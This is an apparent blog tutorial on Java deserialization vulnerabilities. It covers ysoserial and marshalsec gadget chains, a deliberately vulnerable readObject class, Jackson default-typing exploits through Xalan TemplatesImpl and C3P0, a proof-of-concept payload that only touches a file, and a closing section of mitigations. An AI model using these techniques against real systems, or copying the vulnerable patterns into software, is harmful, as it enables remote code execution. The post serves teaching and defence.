Object deserialization is the cause of some of the most serious vulnerabilities in Java. Object deserialization is baked into the language and has been available since version 1. Many libraries and frameworks use it to copy state and other data across JVMs. As a result, it’s unlikely ever to be removed from Java. Most ‘fixes’ to known vulnerabilities are little more than simple allow / block listing and new bypasses for previous fixes are discovered all the time.
Many techniques for exploiting deserialization vulnerabilities rely on code present in third party libraries and do not require any specific first party application code.
A simple example
Objects can be serialized in Java like so:
try (FileOutputStream fileOut = new FileOutputStream(filename);
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
out.writeObject(obj);
}
In this case, we serialize obj and write the serialized bytes to a file. We can then deserialize the bytes from the file back to the object like so:
try (InputStream is = new FileInputStream(filename)) {
ObjectInputStream ois = new ObjectInputStream(is);
Object obj = ois.readObject();
}
We could send the bytes to a file as I’ve shown here, or to a database, webservice, socket etc. This is a very handy technique to persist an object so that it survives beyond the lifetime or scope of the JVM. Java will serialize objects with a default format but you can override serialization / deserialization behaviour with:
private void writeObject(ObjectOutputStream out) throws IOException;
and
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException;
Unusually for methods that define standard behaviours, these methods are private and not defined by an interface.
The vulnerability arises because the readObject method can have side effects. The attacker can exploit the side effects on deserialization. So for example, if readObject looks like this:
public class CommandRunner implements Serializable {
private Runnable command;
public CommandRunner(String command) {
this.command = new SerializableRunner(command);
}
private final void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
command.run();
}
}
The attacker can craft the ObjectInputStream to contain any Runnable object and the readObject method will run() it. This allows arbitrary remote code execution (RCE) – the most severe exploit possible.
But I wouldn’t invoke Runnables from untrusted sources…
The above is essentially the hello world of deserialization vulnerabilities. The code is deliberately and very obviously vulnerable. You might think that you are safe because you’ve not implemented any custom readObject method in your code.
However, one of your dependencies might have a vulnerable deserialization implementation. Many well known and popular libraries have been found to contain such vulnerabilities including Apache Commons Collections (multiple versions), Apache Commons BeanUtils, C3P0, Hibernate and Spring. If an attacker can create a serialization of a vulnerable class and have you deserialize it, you are vulnerable. Regardless of what you intended to deserialize.
Let’s say I deserialize an object from a file:
try (InputStream is = new FileInputStream(filename)) {
ObjectInputStream ois = new ObjectInputStream(is);
Object obj = ois.readObject();
}
I have no way to control what subclass of Object I end up with. This is entirely in the attacker’s control. If the attacker can control the bytes being deserialized, they can deserialize any class on my classpath. So they can deserialize any class in my application code, in my third party dependencies and in their transitive dependencies. This presents a significant attack surface.
What’s more, the vulnerable code may not be in the class being deserialized. It may be in some other class that is callable from the deserialized class. The attacker is constructing a gadget chain starting at readObject of the deserialized class and eventually ending up at some exploitable behaviour such as Runtime.exec().
ysoserial
The ysoserial project generates serialized object payloads. The payload is a gadget chain consisting only of classes on your classpath. For example, the CommonsCollections2 payload constructs a gadget chain consisting of classes in Apache Commons Collections 4.0:
ObjectInputStream.readObject()
PriorityQueue.readObject()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
If your application contains Apache Commons Collections 4.0, and it calls ObjectInputStream.readObject(), it is vulnerable to RCE. Regardless of whether your ObjectInputStream intended to deserialize an Apache Commons Collections PriorityQueue instance. Indeed, regardless of whether you use Apache Commons Collections at all. If Apache Commons Collections 4.0 classes are in your classpath, you’re vulnerable.
But I don’t call ObjectInputStream.readObject()…
Even if your application does not directly call ObjectInputStream.readObject(), if you use a library that does, you may still be vulnerable. Many third party libraries use deserialization for various purposes. They’re often used by web application servers (JBoss, WebLogic, WebSphere) to transfer state or sessions across clustered instances. They’re often used in monitoring tools (anything that uses JMX), message queues (Kafka, RabbitMQ) and application frameworks (RESTEasy, Apache XML-RPC). If you use a third party library of any significant complexity, there’s a good chance object serialization / deserialization is used somewhere.
Marshallers as an injection vector
Many marshalling libraries have been found to be vulnerable to deserialization attacks. The marshalsec project is a tool for generating ‘poisoned’ marshalled object representations that ultimately lead to deseserialization (and other) attacks.
Object marshalling is turning a POJO into some other representation such as JSON, XML, YAML etc. It’s a slightly different concept to object serialization. When I talk about serialization (and deserialization), I’m referring specifically to Java’s built in mechanisms based on the Serializable interface and ObjectInputStream / ObjectOutputStream. A serialized object can be deserialized only to another Java application with the same class definition on the classpath. Marshalling on the other hand is performed by third party libraries and provides data in a machine independent format. That is, an object marshalled by Java could be unmarshalled by Python, JavaScript or can be made human readable.
As an example, consider Jackson marshalling a class representing a rectangle:
public class Rectangle {
private double width;
private double height;
}
It would marshal this to JSON:
{
"width": 10.0,
"height": 20.0
}
Marshalling works with just the field information so long as Jackson knows the exact type to unmarshal to (Rectangle). However, if we want Jackson to marshal polymorphic types, we need to encode the subclass type too:
[
[
"org.dontpanic.ysoserial.jackson.Circle",
{
"radius": 5.0
}
],
[
"org.dontpanic.ysoserial.jackson.Rectangle",
{
"width": 10.0,
"height": 20.0
}
]
]
If this feature is enabled, we can trick it into unmarshalling any subtype. If the supertype is Object, we can get Jackson to instantiate any class on the classpath:
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
Object[] shapes = objectMapper.readValue(new File(filename), Object[].class);
The intention is to unmarshal Circles and Rectangles, but this code will unmarshal any class.
When Jackson unmarshals a class, it first invokes the no arg constructor and then attempts to set the field values setters or reflection. We can exploit this behaviour by attempting to construct a gadget chain based on constructors and/or setters.
Bytecode injection exploit via Xalan
A standard attack starts with Xalan‘s TemplatesImpl:
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66..."
],
"transletName": "foo",
"outputProperties": {}
}
TemplatesImpl has a _bytecodes field accessed via a getter (but no setter). Jackson ‘helpfully’ interprets the getter as a property and will successfully set the underlying field using reflection.
Older, vulnerable versions of TemplatesImpl will attempt to instantiate classes defined by the bytecodes. It won’t get as far as running them but we can still exploit if we put our exploit in the constructor of the Translet:
public class TouchFilePayload extends AbstractTranslet {
/**
* When this constructor is invoked, it runs the exploit payload.
*/
public TouchFilePayload() throws Exception {
System.out.println("Running payload...");
ProcessBuilder pb = new ProcessBuilder();
pb.command("touch", "TemplatesImpl_exploited.flag");
pb.start();
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
// No need to implement
}
@Override
public void transform(DOM dom, SerializationHandler[] serializationHandlers) throws TransletException {
// No need to implement
}
}
So all you need to do to exploit vulnerable versions of Jackson and Xalan is compile your payload class, base64 encode the compiled class file and put the resulting string in the JSON to be unmarshalled.
Exploiting deserialization vulnerabilities via third party libraries only
The example above tricks Jackson into executing arbitrary bytecode via behaviours in Xalan. However, we can do something similar to trick Jackson into running deserialization gadget chains.
In this final example, we use the Jackson default typing vulnerability above to run the Apache Commons Collections gadget chain, using vulnerable code in C3P0 to trigger the object deserialization step . First, convert the gadget chain binary code to hex ascii using xxd:
xxd -p CommonsCollections2.touchfile.payload.bin
Then, we can then get Jackson to invoke it via a C3P0 class that does object deserialization in its constructor:
"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
{
"userOverridesAsString": "HexAsciiSerializedMap:aced...;"
}
The overall execution chain is now a bit convoluted but it does eventually lead to Runtime.exec() and a remote code execution of code that the attacker controls:
(C3P0) WrapperConnectionPoolDataSource.<constructor>
(C3P0) WrapperConnectionPoolDataSource.setUpPropertyListeners()
(C3P0) C3P0ImplUtils.parseUserOverridesAsString()
(C3P0) SerializableUtils.fromByteArray()
(C3P0) SerializableUtils.deserializeFromByteArray()
(JDK) ObjectInputStream.readObject()
(Apache) PriorityQueue.readObject()
(Apache) TransformingComparator.compare()
(Apache) InvokerTransformer.transform()
(JDK) Method.invoke()
(JDK) Runtime.exec()
This relies on having vulnerable versions of Jackson, C3P0 and Apache Commons Collections on the classpath but it does not rely on any first-party application code, except for enabling default typing in Jackson.
Yes, finding this execution chain manually would be difficult but is far easier with tooling such as ysoserial and marshalsec.
Mitigations and protections
Unfortunately, if you’re using some fairly standard Java libraries and frameworks, you have Java deserialization in your codebase whether you use it or not. Patching your software will protect you against known vulnerabilities but there are almost certainly undetected zero-day vulnerabilities in there somewhere. The best you can do is minimise your attack surface:
- Do not use object deserialization (
ObjectInputStream.readObject()) from your application code, ever. This presents a convenient foothold for attackers and it’s just too easy to introduce subtle high severity bugs. Oracle provides secure coding guidelines for working with deserialization and JEP-290 (JDK 9) and JEP-415 (JDK 17) provide ways to filter deserializable classes. These block many easier attack vectors but new workarounds and bypasses are always being discovered. - Patch your JDK and all libraries regularly and immediately on security fixes. Some security features added to later major JDK versions were backported to earlier versions in security patches so it’s worth taking these even if you can’t upgrade major version.
- Use a recent version of Java and at least version 9. Version 9 introduced the Java Platform Module System meaning that not all core modules are loaded by default. For example, Xalan XSLT processing is not available unless the
java.xmlmodule is enabled.
All example code from examples in this post are on my GitHub repo, where you’ll also find more detailed information on generating the payloads.
Be First to Comment